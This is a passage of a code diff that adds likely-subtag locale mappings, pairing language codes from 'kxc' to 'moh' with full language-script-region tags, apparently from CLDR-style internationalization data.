+ "kxc": "kxc-Ethi-ZZ",
+ "kxd": "kxd-Latn-BN",
+ "kxd-Arab": "kxd-Arab-BN",
+ "kxe": "tvd-Latn-ZZ",
+ "kxf": "kxf-Mymr-MM",
+ "kxf-Latn": "kxf-Latn-MM",
+ "kxi": "kxi-Latn-MY",
+ "kxj": "kxj-Latn-TD",
+ "kxk": "kxk-Mymr-MM",
+ "kxl": "kru-Deva-IN",
+ "kxm": "kxm-Thai-TH",
+ "kxn": "kxn-Latn-MY",
+ "kxo": "kxo-Latn-BR",
+ "kxp": "kxp-Arab-PK",
+ "kxq": "kxq-Latn-ID",
+ "kxr": "kxr-Latn-PG",
+ "kxt": "kxt-Latn-PG",
+ "kxv": "kxv-Orya-IN",
+ "kxv-Latn": "kxv-Latn-IN",
+ "kxv-Telu": "kxv-Telu-IN",
+ "kxw": "kxw-Latn-ZZ",
+ "kxx": "kxx-Latn-CG",
+ "kxy": "kxy-Latn-VN",
+ "kxz": "kxz-Latn-ZZ",
+ "ky": "ky-Cyrl-KG",
+ "ky-Arab": "ky-Arab-CN",
+ "ky-CN": "ky-Arab-CN",
+ "ky-Latn": "ky-Latn-TR",
+ "ky-TR": "ky-Latn-TR",
+ "kya": "kya-Latn-TZ",
+ "kyb": "kyb-Latn-PH",
+ "kyc": "kyc-Latn-PG",
+ "kyd": "kyd-Latn-ID",
+ "kye": "kye-Latn-ZZ",
+ "kyf": "kyf-Latn-CI",
+ "kyg": "kyg-Latn-PG",
+ "kyh": "kyh-Latn-US",
+ "kyi": "kyi-Latn-MY",
+ "kyj": "kyj-Latn-PH",
+ "kyk": "kyk-Latn-PH",
+ "kyl": "kyl-Latn-US",
+ "kym": "kym-Latn-CF",
+ "kyn": "kyn-Latn-PH",
+ "kyo": "kyo-Latn-ID",
+ "kyq": "kyq-Latn-TD",
+ "kyr": "kyr-Latn-BR",
+ "kys": "kys-Latn-MY",
+ "kyt": "kyt-Latn-ID",
+ "kyu": "kyu-Kali-MM",
+ "kyu-Latn": "kyu-Latn-MM",
+ "kyu-Mymr": "kyu-Mymr-MM",
+ "kyv": "kyv-Deva-NP",
+ "kyw": "kyw-Deva-IN",
+ "kyw-Beng": "kyw-Beng-IN",
+ "kyw-Orya": "kyw-Orya-IN",
+ "kyx": "kyx-Latn-ZZ",
+ "kyy": "kyy-Latn-PG",
+ "kyz": "kyz-Latn-BR",
+ "kza": "kza-Latn-BF",
+ "kzb": "kzb-Latn-ID",
+ "kzc": "kzc-Latn-CI",
+ "kzd": "kzd-Latn-ID",
+ "kze": "kze-Latn-PG",
+ "kzf": "kzf-Latn-ID",
+ "kzh": "dgl-Arab-ZZ",
+ "kzi": "kzi-Latn-MY",
+ "kzj": "dtp-Latn-MY",
+ "kzk": "kzk-Latn-SB",
+ "kzl": "kzl-Latn-ID",
+ "kzm": "kzm-Latn-ID",
+ "kzn": "kzn-Latn-MW",
+ "kzo": "kzo-Latn-GA",
+ "kzp": "kzp-Latn-ID",
+ "kzr": "kzr-Latn-ZZ",
+ "kzs": "kzs-Latn-MY",
+ "kzt": "dtp-Latn-MY",
+ "kzu": "kzu-Latn-ID",
+ "kzv": "kzv-Latn-ID",
+ "kzw": "kzw-Latn-BR",
+ "kzx": "kzx-Latn-ID",
+ "kzy": "kzy-Latn-CD",
+ "kzz": "kzz-Latn-ID",
+ "la": "la-Latn-VA",
+ "laa": "laa-Latn-PH",
+ "lab": "lab-Lina-GR",
+ "lac": "lac-Latn-MX",
+ "lad": "lad-Hebr-IL",
+ "lae": "lae-Deva-IN",
+ "lae-Tibt": "lae-Tibt-IN",
+ "lag": "lag-Latn-TZ",
+ "lah": "lah-Arab-PK",
+ "lai": "lai-Latn-MW",
+ "laj": "laj-Latn-UG",
+ "lal": "lal-Latn-CD",
+ "lam": "lam-Latn-ZM",
+ "lan": "lan-Latn-NG",
+ "lap": "lap-Latn-TD",
+ "laq": "laq-Latn-VN",
+ "lar": "lar-Latn-GH",
+ "las": "las-Latn-ZZ",
+ "lau": "lau-Latn-ID",
+ "law": "law-Latn-ID",
+ "lax": "lax-Latn-IN",
+ "lax-Beng": "lax-Beng-IN",
+ "laz": "laz-Latn-PG",
+ "lb": "lb-Latn-LU",
+ "lbb": "lbb-Latn-PG",
+ "lbc": "lbc-Lisu-CN",
+ "lbe": "lbe-Cyrl-RU",
+ "lbf": "lbf-Deva-IN",
+ "lbf-Tibt": "lbf-Tibt-CN",
+ "lbi": "lbi-Latn-CM",
+ "lbj": "lbj-Tibt-IN",
+ "lbj-Arab": "lbj-Arab-IN",
+ "lbl": "lbl-Latn-PH",
+ "lbm": "lbm-Deva-IN",
+ "lbn": "lbn-Latn-LA",
+ "lbn-Laoo": "lbn-Laoo-LA",
+ "lbo": "lbo-Laoo-LA",
+ "lbo-Latn": "lbo-Latn-US",
+ "lbq": "lbq-Latn-PG",
+ "lbr": "lbr-Deva-NP",
+ "lbt": "lbt-Latn-VN",
+ "lbu": "lbu-Latn-ZZ",
+ "lbv": "lbv-Latn-PG",
+ "lbw": "lbw-Latn-ID",
+ "lbx": "lbx-Latn-ID",
+ "lby": "lby-Latn-AU",
+ "lbz": "lbz-Latn-AU",
+ "lcc": "lcc-Latn-ID",
+ "lcd": "lcd-Latn-ID",
+ "lce": "lce-Latn-ID",
+ "lcf": "lcf-Latn-ID",
+ "lch": "lch-Latn-AO",
+ "lcl": "lcl-Latn-ID",
+ "lcm": "lcm-Latn-ZZ",
+ "lcp": "lcp-Thai-CN",
+ "lcq": "lcq-Latn-ID",
+ "lcs": "lcs-Latn-ID",
+ "lda": "lda-Latn-CI",
+ "ldb": "ldb-Latn-ZZ",
+ "ldd": "ldd-Latn-NG",
+ "ldg": "ldg-Latn-NG",
+ "ldh": "ldh-Latn-NG",
+ "ldi": "ldi-Latn-CG",
+ "ldj": "ldj-Latn-NG",
+ "ldk": "ldk-Latn-NG",
+ "ldl": "ldl-Latn-NG",
+ "ldm": "ldm-Latn-GN",
+ "ldn": "ldn-Latn-001",
+ "ldo": "ldo-Latn-NG",
+ "ldp": "ldp-Latn-NG",
+ "ldq": "ldq-Latn-NG",
+ "lea": "lea-Latn-CD",
+ "leb": "leb-Latn-ZM",
+ "lec": "lec-Latn-BO",
+ "led": "led-Latn-ZZ",
+ "lee": "lee-Latn-ZZ",
+ "lef": "lef-Latn-GH",
+ "leh": "leh-Latn-ZM",
+ "lei": "lei-Latn-PG",
+ "lej": "lej-Latn-CD",
+ "lek": "lek-Latn-PG",
+ "lel": "lel-Latn-CD",
+ "lem": "lem-Latn-ZZ",
+ "len": "len-Latn-HN",
+ "leo": "leo-Latn-CM",
+ "lep": "lep-Lepc-IN",
+ "leq": "leq-Latn-ZZ",
+ "ler": "ler-Latn-PG",
+ "les": "les-Latn-CD",
+ "let": "let-Latn-PG",
+ "leu": "leu-Latn-ZZ",
+ "lev": "lev-Latn-ID",
+ "lew": "lew-Latn-ID",
+ "lex": "lex-Latn-ID",
+ "ley": "ley-Latn-ID",
+ "lez": "lez-Cyrl-RU",
+ "lfa": "lfa-Latn-CM",
+ "lfn": "lfn-Latn-001",
+ "lfn-Cyrl": "lfn-Cyrl-001",
+ "lg": "lg-Latn-UG",
+ "lga": "lga-Latn-SB",
+ "lgb": "lgb-Latn-SB",
+ "lgg": "lgg-Latn-ZZ",
+ "lgh": "lgh-Latn-VN",
+ "lgi": "lgi-Latn-ID",
+ "lgk": "lgk-Latn-VU",
+ "lgl": "lgl-Latn-SB",
+ "lgm": "lgm-Latn-CD",
+ "lgn": "lgn-Latn-ET",
+ "lgo": "lgo-Latn-SS",
+ "lgq": "lgq-Latn-GH",
+ "lgr": "lgr-Latn-SB",
+ "lgt": "lgt-Latn-PG",
+ "lgu": "lgu-Latn-SB",
+ "lgz": "lgz-Latn-CD",
+ "lha": "lha-Latn-VN",
+ "lhh": "lhh-Latn-ID",
+ "lhi": "lhi-Latn-CN",
+ "lhm": "lhm-Deva-NP",
+ "lhn": "lhn-Latn-MY",
+ "lhs": "lhs-Syrc-SY",
+ "lht": "lht-Latn-VU",
+ "lhu": "lhu-Latn-CN",
+ "li": "li-Latn-NL",
+ "lia": "lia-Latn-ZZ",
+ "lib": "lib-Latn-PG",
+ "lic": "lic-Latn-CN",
+ "lid": "lid-Latn-ZZ",
+ "lie": "lie-Latn-CD",
+ "lif": "lif-Deva-NP",
+ "lif-Limb": "lif-Limb-IN",
+ "lig": "lig-Latn-ZZ",
+ "lih": "lih-Latn-ZZ",
+ "lij": "lij-Latn-IT",
+ "lik": "lik-Latn-CD",
+ "lil": "lil-Latn-CA",
+ "lio": "lio-Latn-ID",
+ "lip": "lip-Latn-GH",
+ "liq": "liq-Latn-ET",
+ "lir": "lir-Latn-LR",
+ "lis": "lis-Lisu-CN",
+ "liu": "liu-Latn-SD",
+ "liv": "liv-Latn-LV",
+ "liw": "liw-Latn-ID",
+ "lix": "lix-Latn-ID",
+ "liy": "liy-Latn-CF",
+ "liz": "liz-Latn-CD",
+ "lja": "lja-Latn-AU",
+ "lje": "lje-Latn-ID",
+ "lji": "lji-Latn-ID",
+ "ljl": "ljl-Latn-ID",
+ "ljp": "ljp-Latn-ID",
+ "ljw": "ljw-Latn-AU",
+ "ljx": "ljx-Latn-AU",
+ "lka": "lka-Latn-TL",
+ "lkb": "lkb-Latn-KE",
+ "lkc": "lkc-Latn-VN",
+ "lkd": "lkd-Latn-BR",
+ "lke": "lke-Latn-UG",
+ "lkh": "lkh-Tibt-BT",
+ "lki": "lki-Arab-IR",
+ "lkj": "lkj-Latn-MY",
+ "lkl": "lkl-Latn-PG",
+ "lkm": "lkm-Latn-AU",
+ "lkn": "lkn-Latn-VU",
+ "lko": "lko-Latn-KE",
+ "lkr": "lkr-Latn-SS",
+ "lks": "lks-Latn-KE",
+ "lkt": "lkt-Latn-US",
+ "lku": "lku-Latn-AU",
+ "lky": "lky-Latn-SS",
+ "lla": "lla-Latn-NG",
+ "llb": "llb-Latn-MZ",
+ "llc": "llc-Latn-GN",
+ "lld": "lld-Latn-IT",
+ "lle": "lle-Latn-ZZ",
+ "llf": "llf-Latn-PG",
+ "llg": "llg-Latn-ID",
+ "lli": "lli-Latn-CG",
+ "llj": "llj-Latn-AU",
+ "llk": "llk-Latn-MY",
+ "lll": "lll-Latn-PG",
+ "llm": "llm-Latn-ID",
+ "lln": "lln-Latn-ZZ",
+ "llp": "llp-Latn-VU",
+ "llq": "llq-Latn-ID",
+ "llu": "llu-Latn-SB",
+ "llx": "llx-Latn-FJ",
+ "lma": "lma-Latn-GN",
+ "lmb": "lmb-Latn-VU",
+ "lmc": "lmc-Latn-AU",
+ "lmd": "lmd-Latn-SD",
+ "lme": "lme-Latn-TD",
+ "lmf": "lmf-Latn-ID",
+ "lmg": "lmg-Latn-PG",
+ "lmh": "lmh-Deva-NP",
+ "lmi": "lmi-Latn-CD",
+ "lmj": "lmj-Latn-ID",
+ "lmk": "lmk-Latn-IN",
+ "lmk-Mymr": "lmk-Mymr-IN",
+ "lml": "lml-Latn-VU",
+ "lmn": "lmn-Telu-IN",
+ "lmo": "lmo-Latn-IT",
+ "lmp": "lmp-Latn-ZZ",
+ "lmq": "lmq-Latn-ID",
+ "lmr": "lmr-Latn-ID",
+ "lmu": "lmu-Latn-VU",
+ "lmv": "lmv-Latn-FJ",
+ "lmw": "lmw-Latn-US",
+ "lmx": "lmx-Latn-CM",
+ "lmy": "lmy-Latn-ID",
+ "ln": "ln-Latn-CD",
+ "lna": "lna-Latn-CF",
+ "lnb": "lnb-Latn-NA",
+ "lnd": "lnd-Latn-ID",
+ "lnh": "lnh-Latn-MY",
+ "lni": "lni-Latn-PG",
+ "lnj": "lnj-Latn-AU",
+ "lnl": "lnl-Latn-CF",
+ "lnm": "lnm-Latn-PG",
+ "lnn": "lnn-Latn-VU",
+ "lns": "lns-Latn-ZZ",
+ "lnu": "lnu-Latn-ZZ",
+ "lnw": "lnw-Latn-AU",
+ "lnz": "lnz-Latn-CD",
+ "lo": "lo-Laoo-LA",
+ "loa": "loa-Latn-ID",
+ "lob": "lob-Latn-BF",
+ "loc": "loc-Latn-PH",
+ "loe": "loe-Latn-ID",
+ "log": "log-Latn-CD",
+ "loh": "loh-Latn-SS",
+ "loi": "loi-Latn-CI",
+ "loj": "loj-Latn-ZZ",
+ "lok": "lok-Latn-ZZ",
+ "lol": "lol-Latn-CD",
+ "lom": "lom-Latn-LR",
+ "lon": "lon-Latn-MW",
+ "loo": "loo-Latn-CD",
+ "lop": "lop-Latn-NG",
+ "loq": "loq-Latn-CD",
+ "lor": "lor-Latn-ZZ",
+ "los": "los-Latn-ZZ",
+ "lot": "lot-Latn-SS",
+ "lot-Arab": "lot-Arab-SS",
+ "lou": "lou-Latn-US",
+ "low": "low-Latn-MY",
+ "lox": "lox-Latn-ID",
+ "loy": "loy-Deva-NP",
+ "loy-Tibt": "loy-Tibt-NP",
+ "loz": "loz-Latn-ZM",
+ "lpa": "lpa-Latn-VU",
+ "lpe": "lpe-Latn-ID",
+ "lpn": "lpn-Latn-MM",
+ "lpo": "lpo-Plrd-CN",
+ "lpo-Lisu": "lpo-Lisu-CN",
+ "lpx": "lpx-Latn-SS",
+ "lqr": "lqr-Latn-SS",
+ "lra": "lra-Latn-MY",
+ "lrc": "lrc-Arab-IR",
+ "lrg": "lrg-Latn-AU",
+ "lri": "lri-Latn-KE",
+ "lrk": "lrk-Arab-PK",
+ "lrl": "lrl-Arab-IR",
+ "lrm": "lrm-Latn-KE",
+ "lrn": "lrn-Latn-ID",
+ "lro": "lro-Latn-SD",
+ "lrt": "lrt-Latn-ID",
+ "lrv": "lrv-Latn-VU",
+ "lrz": "lrz-Latn-VU",
+ "lsa": "lsa-Arab-IR",
+ "lsd": "lsd-Hebr-IL",
+ "lse": "lse-Latn-CD",
+ "lsi": "lsi-Latn-MM",
+ "lsm": "lsm-Latn-UG",
+ "lsr": "lsr-Latn-PG",
+ "lss": "lss-Arab-PK",
+ "lt": "lt-Latn-LT",
+ "ltg": "ltg-Latn-LV",
+ "lth": "lth-Latn-UG",
+ "lti": "lti-Latn-ID",
+ "ltn": "ltn-Latn-BR",
+ "lto": "lto-Latn-KE",
+ "lts": "lts-Latn-KE",
+ "ltu": "ltu-Latn-ID",
+ "lu": "lu-Latn-CD",
+ "lua": "lua-Latn-CD",
+ "luc": "luc-Latn-UG",
+ "lud": "lud-Latn-RU",
+ "lue": "lue-Latn-ZM",
+ "luf": "luf-Latn-PG",
+ "lui": "lui-Latn-US",
+ "luj": "luj-Latn-CD",
+ "luk": "luk-Tibt-BT",
+ "lul": "lul-Latn-SS",
+ "lum": "lum-Latn-AO",
+ "lun": "lun-Latn-ZM",
+ "luo": "luo-Latn-KE",
+ "lup": "lup-Latn-GA",
+ "luq": "luq-Latn-CU",
+ "lur": "lur-Latn-ID",
+ "lus": "lus-Latn-IN",
+ "lus-Beng": "lus-Beng-BD",
+ "lus-Brai": "lus-Brai-IN",
+ "lut": "lut-Latn-US",
+ "luu": "luu-Deva-NP",
+ "luv": "luv-Arab-OM",
+ "luw": "luw-Latn-CM",
+ "luy": "luy-Latn-KE",
+ "luz": "luz-Arab-IR",
+ "lv": "lv-Latn-LV",
+ "lva": "lva-Latn-TL",
+ "lvi": "lvi-Latn-LA",
+ "lvk": "lvk-Latn-SB",
+ "lvu": "lvu-Latn-ID",
+ "lwa": "lwa-Latn-CD",
+ "lwe": "lwe-Latn-ID",
+ "lwg": "lwg-Latn-KE",
+ "lwh": "lwh-Latn-VN",
+ "lwl": "lwl-Thai-TH",
+ "lwm": "lwm-Thai-CN",
+ "lwo": "lwo-Latn-SS",
+ "lwo-ZA": "lwo-Latn-ZA",
+ "lwt": "lwt-Latn-ID",
+ "lww": "lww-Latn-VU",
+ "lxm": "lxm-Latn-PG",
+ "lya": "lya-Tibt-BT",
+ "lyn": "lyn-Latn-ZM",
+ "lzh": "lzh-Hans-CN",
+ "lzl": "lzl-Latn-VU",
+ "lzn": "lzn-Latn-MM",
+ "lzz": "lzz-Latn-TR",
+ "maa": "maa-Latn-MX",
+ "mab": "mab-Latn-MX",
+ "mad": "mad-Latn-ID",
+ "mae": "mae-Latn-NG",
+ "maf": "maf-Latn-CM",
+ "mag": "mag-Deva-IN",
+ "mai": "mai-Deva-IN",
+ "maj": "maj-Latn-MX",
+ "mak": "mak-Latn-ID",
+ "mam": "mam-Latn-GT",
+ "man": "man-Latn-GM",
+ "man-GN": "man-Nkoo-GN",
+ "man-Nkoo": "man-Nkoo-GN",
+ "maq": "maq-Latn-MX",
+ "mas": "mas-Latn-KE",
+ "mat": "mat-Latn-MX",
+ "mau": "mau-Latn-MX",
+ "mav": "mav-Latn-BR",
+ "maw": "maw-Latn-ZZ",
+ "max": "max-Latn-ID",
+ "maz": "maz-Latn-MX",
+ "mba": "mba-Latn-PH",
+ "mbb": "mbb-Latn-PH",
+ "mbc": "mbc-Latn-BR",
+ "mbd": "mbd-Latn-PH",
+ "mbf": "mbf-Latn-SG",
+ "mbh": "mbh-Latn-ZZ",
+ "mbi": "mbi-Latn-PH",
+ "mbj": "mbj-Latn-BR",
+ "mbk": "mbk-Latn-PG",
+ "mbl": "mbl-Latn-BR",
+ "mbm": "mbm-Latn-CG",
+ "mbn": "mbn-Latn-CO",
+ "mbo": "mbo-Latn-ZZ",
+ "mbp": "mbp-Latn-CO",
+ "mbq": "mbq-Latn-ZZ",
+ "mbr": "mbr-Latn-CO",
+ "mbs": "mbs-Latn-PH",
+ "mbt": "mbt-Latn-PH",
+ "mbu": "mbu-Latn-ZZ",
+ "mbv": "mbv-Latn-GN",
+ "mbw": "mbw-Latn-ZZ",
+ "mbx": "mbx-Latn-PG",
+ "mby": "mby-Arab-PK",
+ "mbz": "mbz-Latn-MX",
+ "mca": "mca-Latn-PY",
+ "mcb": "mcb-Latn-PE",
+ "mcc": "mcc-Latn-PG",
+ "mcd": "mcd-Latn-PE",
+ "mce": "mce-Latn-MX",
+ "mcf": "mcf-Latn-PE",
+ "mcg": "mcg-Latn-VE",
+ "mch": "mch-Latn-VE",
+ "mci": "mci-Latn-ZZ",
+ "mcj": "mcj-Latn-NG",
+ "mck": "mck-Latn-AO",
+ "mcl": "mcl-Latn-CO",
+ "mcm": "mcm-Latn-MY",
+ "mcn": "mcn-Latn-TD",
+ "mco": "mco-Latn-MX",
+ "mcp": "mcp-Latn-ZZ",
+ "mcq": "mcq-Latn-ZZ",
+ "mcr": "mcr-Latn-ZZ",
+ "mcs": "mcs-Latn-CM",
+ "mct": "mct-Latn-CM",
+ "mcu": "mcu-Latn-ZZ",
+ "mcv": "mcv-Latn-PG",
+ "mcw": "mcw-Latn-TD",
+ "mcx": "mcx-Latn-CF",
+ "mcy": "mcy-Latn-PG",
+ "mcz": "mcz-Latn-PG",
+ "mda": "mda-Latn-ZZ",
+ "mdb": "mdb-Latn-PG",
+ "mdc": "mdc-Latn-PG",
+ "mdd": "mdd-Latn-CM",
+ "mde": "mde-Arab-ZZ",
+ "mdf": "mdf-Cyrl-RU",
+ "mdg": "mdg-Latn-TD",
+ "mdh": "mdh-Latn-PH",
+ "mdi": "mdi-Latn-CD",
+ "mdj": "mdj-Latn-ZZ",
+ "mdk": "mdk-Latn-CD",
+ "mdm": "mdm-Latn-CD",
+ "mdn": "mdn-Latn-CF",
+ "mdp": "mdp-Latn-CD",
+ "mdq": "mdq-Latn-CD",
+ "mdr": "mdr-Latn-ID",
+ "mds": "mds-Latn-PG",
+ "mdt": "mdt-Latn-CG",
+ "mdu": "mdu-Latn-CG",
+ "mdv": "mdv-Latn-MX",
+ "mdw": "mdw-Latn-CG",
+ "mdx": "mdx-Ethi-ZZ",
+ "mdy": "mdy-Ethi-ET",
+ "mdy-Latn": "mdy-Latn-ET",
+ "mdz": "mdz-Latn-BR",
+ "mea": "mea-Latn-CM",
+ "meb": "meb-Latn-PG",
+ "mec": "mec-Latn-AU",
+ "med": "med-Latn-ZZ",
+ "mee": "mee-Latn-ZZ",
+ "meh": "meh-Latn-MX",
+ "mej": "mej-Latn-ID",
+ "mek": "mek-Latn-ZZ",
+ "mel": "mel-Latn-MY",
+ "mem": "mem-Latn-AU",
+ "men": "men-Latn-SL",
+ "meo": "meo-Latn-MY",
+ "meo-Arab": "meo-Arab-MY",
+ "mep": "mep-Latn-AU",
+ "meq": "meq-Latn-CM",
+ "mer": "mer-Latn-KE",
+ "mes": "mes-Latn-TD",
+ "met": "met-Latn-ZZ",
+ "meu": "meu-Latn-ZZ",
+ "mev": "mev-Latn-LR",
+ "mew": "mew-Latn-NG",
+ "mey": "mey-Latn-MR",
+ "mey-Arab": "mey-Arab-MR",
+ "mez": "mez-Latn-US",
+ "mfa": "mfa-Arab-TH",
+ "mfb": "mfb-Latn-ID",
+ "mfc": "mfc-Latn-CD",
+ "mfd": "mfd-Latn-CM",
+ "mfe": "mfe-Latn-MU",
+ "mff": "mff-Latn-CM",
+ "mfg": "mfg-Latn-GN",
+ "mfg-Arab": "mfg-Arab-GN",
+ "mfh": "mfh-Latn-CM",
+ "mfi": "mfi-Arab-CM",
+ "mfi-Latn": "mfi-Latn-CM",
+ "mfj": "mfj-Latn-CM",
+ "mfk": "mfk-Latn-CM",
+ "mfl": "mfl-Latn-NG",
+ "mfm": "mfm-Latn-NG",
+ "mfn": "mfn-Latn-ZZ",
+ "mfo": "mfo-Latn-ZZ",
+ "mfp": "mfp-Latn-ID",
+ "mfq": "mfq-Latn-ZZ",
+ "mfr": "mfr-Latn-AU",
+ "mft": "mft-Latn-PG",
+ "mfu": "mfu-Latn-AO",
+ "mfv": "mfv-Latn-GW",
+ "mfw": "mfw-Latn-PG",
+ "mfx": "mfx-Latn-ET",
+ "mfx-Ethi": "mfx-Ethi-ET",
+ "mfy": "mfy-Latn-MX",
+ "mfz": "mfz-Latn-SS",
+ "mg": "mg-Latn-MG",
+ "mgb": "mgb-Latn-TD",
+ "mgc": "mgc-Latn-SS",
+ "mgd": "mgd-Latn-SS",
+ "mgd-Arab": "mgd-Arab-SS",
+ "mge": "mge-Latn-TD",
+ "mgf": "mgf-Latn-ID",
+ "mgg": "mgg-Latn-CM",
+ "mgh": "mgh-Latn-MZ",
+ "mgi": "mgi-Latn-NG",
+ "mgj": "mgj-Latn-NG",
+ "mgk": "mgk-Latn-ID",
+ "mgl": "mgl-Latn-ZZ",
+ "mgm": "mgm-Latn-TL",
+ "mgn": "mgn-Latn-CF",
+ "mgo": "mgo-Latn-CM",
+ "mgp": "mgp-Deva-NP",
+ "mgq": "mgq-Latn-TZ",
+ "mgr": "mgr-Latn-ZM",
+ "mgs": "mgs-Latn-TZ",
+ "mgt": "mgt-Latn-PG",
+ "mgu": "mgu-Latn-PG",
+ "mgv": "mgv-Latn-TZ",
+ "mgw": "mgw-Latn-TZ",
+ "mgy": "mgy-Latn-TZ",
+ "mgz": "mgz-Latn-TZ",
+ "mh": "mh-Latn-MH",
+ "mhb": "mhb-Latn-GA",
+ "mhc": "mhc-Latn-MX",
+ "mhd": "mhd-Latn-TZ",
+ "mhe": "mhe-Latn-MY",
+ "mhf": "mhf-Latn-PG",
+ "mhg": "mhg-Latn-AU",
+ "mhi": "mhi-Latn-ZZ",
+ "mhj": "mhj-Arab-AF",
+ "mhk": "mhk-Latn-CM",
+ "mhl": "mhl-Latn-ZZ",
+ "mhm": "mhm-Latn-MZ",
+ "mhn": "mhn-Latn-IT",
+ "mho": "mho-Latn-ZM",
+ "mhp": "mhp-Latn-ID",
+ "mhq": "mhq-Latn-US",
+ "mhs": "mhs-Latn-ID",
+ "mht": "mht-Latn-VE",
+ "mhu": "mhu-Latn-IN",
+ "mhw": "mhw-Latn-BW",
+ "mhx": "mhx-Latn-MM",
+ "mhy": "mhy-Latn-ID",
+ "mhz": "mhz-Latn-ID",
+ "mi": "mi-Latn-NZ",
+ "mia": "mia-Latn-US",
+ "mib": "mib-Latn-MX",
+ "mic": "mic-Latn-CA",
+ "mid": "mid-Mand-IQ",
+ "mie": "mie-Latn-MX",
+ "mif": "mif-Latn-ZZ",
+ "mig": "mig-Latn-MX",
+ "mih": "mih-Latn-MX",
+ "mii": "mii-Latn-MX",
+ "mij": "mij-Latn-CM",
+ "mik": "mik-Latn-US",
+ "mil": "mil-Latn-MX",
+ "mim": "mim-Latn-MX",
+ "min": "min-Latn-ID",
+ "mio": "mio-Latn-MX",
+ "mip": "mip-Latn-MX",
+ "miq": "miq-Latn-NI",
+ "mir": "mir-Latn-MX",
+ "mit": "mit-Latn-MX",
+ "miu": "miu-Latn-MX",
+ "miw": "miw-Latn-ZZ",
+ "mix": "mix-Latn-MX",
+ "miy": "miy-Latn-MX",
+ "miz": "miz-Latn-MX",
+ "mjb": "mjb-Latn-TL",
+ "mjc": "mjc-Latn-MX",
+ "mjd": "mjd-Latn-US",
+ "mje": "mje-Latn-TD",
+ "mjg": "mjg-Latn-CN",
+ "mjh": "mjh-Latn-TZ",
+ "mji": "mji-Latn-CN",
+ "mjj": "mjj-Latn-PG",
+ "mjk": "mjk-Latn-PG",
+ "mjl": "mjl-Deva-IN",
+ "mjl-Takr": "mjl-Takr-IN",
+ "mjm": "mjm-Latn-PG",
+ "mjn": "mjn-Latn-PG",
+ "mjq": "mjq-Mlym-IN",
+ "mjr": "mjr-Mlym-IN",
+ "mjs": "mjs-Latn-NG",
+ "mjt": "mjt-Deva-IN",
+ "mjt-Beng": "mjt-Beng-BD",
+ "mju": "mju-Telu-IN",
+ "mjv": "mjv-Mlym-IN",
+ "mjw": "mjw-Latn-IN",
+ "mjx": "mjx-Latn-BD",
+ "mjx-Beng": "mjx-Beng-BD",
+ "mjy": "mjy-Latn-US",
+ "mjz": "mjz-Deva-NP",
+ "mk": "mk-Cyrl-MK",
+ "mka": "mka-Latn-CI",
+ "mkb": "mkb-Deva-IN",
+ "mkc": "mkc-Latn-PG",
+ "mke": "mke-Deva-IN",
+ "mkf": "mkf-Latn-NG",
+ "mki": "mki-Arab-ZZ",
+ "mkj": "mkj-Latn-FM",
+ "mkk": "mkk-Latn-CM",
+ "mkl": "mkl-Latn-ZZ",
+ "mkm": "mkm-Thai-TH",
+ "mkn": "mkn-Latn-ID",
+ "mko": "mko-Latn-NG",
+ "mkp": "mkp-Latn-ZZ",
+ "mkr": "mkr-Latn-PG",
+ "mks": "mks-Latn-MX",
+ "mkt": "mkt-Latn-NC",
+ "mku": "mku-Latn-GN",
+ "mkv": "mkv-Latn-VU",
+ "mkw": "mkw-Latn-ZZ",
+ "mkx": "mkx-Latn-PH",
+ "mky": "mky-Latn-ID",
+ "mkz": "mkz-Latn-TL",
+ "ml": "ml-Mlym-IN",
+ "mla": "mla-Latn-VU",
+ "mlb": "mlb-Latn-CM",
+ "mlc": "mlc-Latn-VN",
+ "mle": "mle-Latn-ZZ",
+ "mlf": "mlf-Thai-LA",
+ "mlf-Latn": "mlf-Latn-LA",
+ "mlh": "mlh-Latn-PG",
+ "mli": "mli-Latn-ID",
+ "mlj": "mlj-Latn-TD",
+ "mlk": "mlk-Latn-KE",
+ "mll": "mll-Latn-VU",
+ "mln": "mln-Latn-SB",
+ "mlo": "mlo-Latn-SN",
+ "mlp": "mlp-Latn-ZZ",
+ "mlq": "mlq-Latn-SN",
+ "mlq-Arab": "mlq-Arab-SN",
+ "mlr": "mlr-Latn-CM",
+ "mls": "mls-Latn-SD",
+ "mlu": "mlu-Latn-SB",
+ "mlv": "mlv-Latn-VU",
+ "mlw": "mlw-Latn-CM",
+ "mlx": "mlx-Latn-VU",
+ "mlz": "mlz-Latn-PH",
+ "mma": "mma-Latn-NG",
+ "mmb": "mmb-Latn-ID",
+ "mmc": "mmc-Latn-MX",
+ "mmd": "mmd-Latn-CN",
+ "mmd-Hans": "mmd-Hans-CN",
+ "mmd-Hant": "mmd-Hant-CN",
+ "mme": "mme-Latn-VU",
+ "mmf": "mmf-Latn-NG",
+ "mmg": "mmg-Latn-VU",
+ "mmh": "mmh-Latn-BR",
+ "mmi": "mmi-Latn-PG",
+ "mmm": "mmm-Latn-VU",
+ "mmn": "mmn-Latn-PH",
+ "mmo": "mmo-Latn-ZZ",
+ "mmp": "mmp-Latn-PG",
+ "mmq": "mmq-Latn-PG",
+ "mmr": "mmr-Latn-CN",
+ "mmt": "mmt-Latn-PG",
+ "mmu": "mmu-Latn-ZZ",
+ "mmv": "mmv-Latn-BR",
+ "mmw": "mmw-Latn-VU",
+ "mmx": "mmx-Latn-ZZ",
+ "mmy": "mmy-Latn-TD",
+ "mmz": "mmz-Latn-CD",
+ "mn": "mn-Cyrl-MN",
+ "mn-CN": "mn-Mong-CN",
+ "mn-Mong": "mn-Mong-CN",
+ "mna": "mna-Latn-ZZ",
+ "mnb": "mnb-Latn-ID",
+ "mnd": "mnd-Latn-BR",
+ "mne": "mne-Latn-TD",
+ "mnf": "mnf-Latn-ZZ",
+ "mng": "mng-Latn-VN",
+ "mnh": "mnh-Latn-CD",
+ "mni": "mni-Beng-IN",
+ "mnj": "mnj-Arab-AF",
+ "mnl": "mnl-Latn-VU",
+ "mnm": "mnm-Latn-PG",
+ "mnn": "mnn-Latn-VN",
+ "mnp": "mnp-Latn-CN",
+ "mnq": "mnq-Latn-MY",
+ "mnr": "mnr-Latn-US",
+ "mns": "mns-Cyrl-RU",
+ "mnu": "mnu-Latn-ID",
+ "mnv": "mnv-Latn-SB",
+ "mnw": "mnw-Mymr-MM",
+ "mnx": "mnx-Latn-ID",
+ "mny": "mny-Latn-MZ",
+ "mnz": "mnz-Latn-ID",
+ "mo": "ro-Latn-RO",
+ "moa": "moa-Latn-ZZ",
+ "moc": "moc-Latn-AR",
+ "mod": "mod-Latn-US",
+ "moe": "moe-Latn-CA",
+ "mog": "mog-Latn-ID",
+ "moh": "moh-Latn-CA",
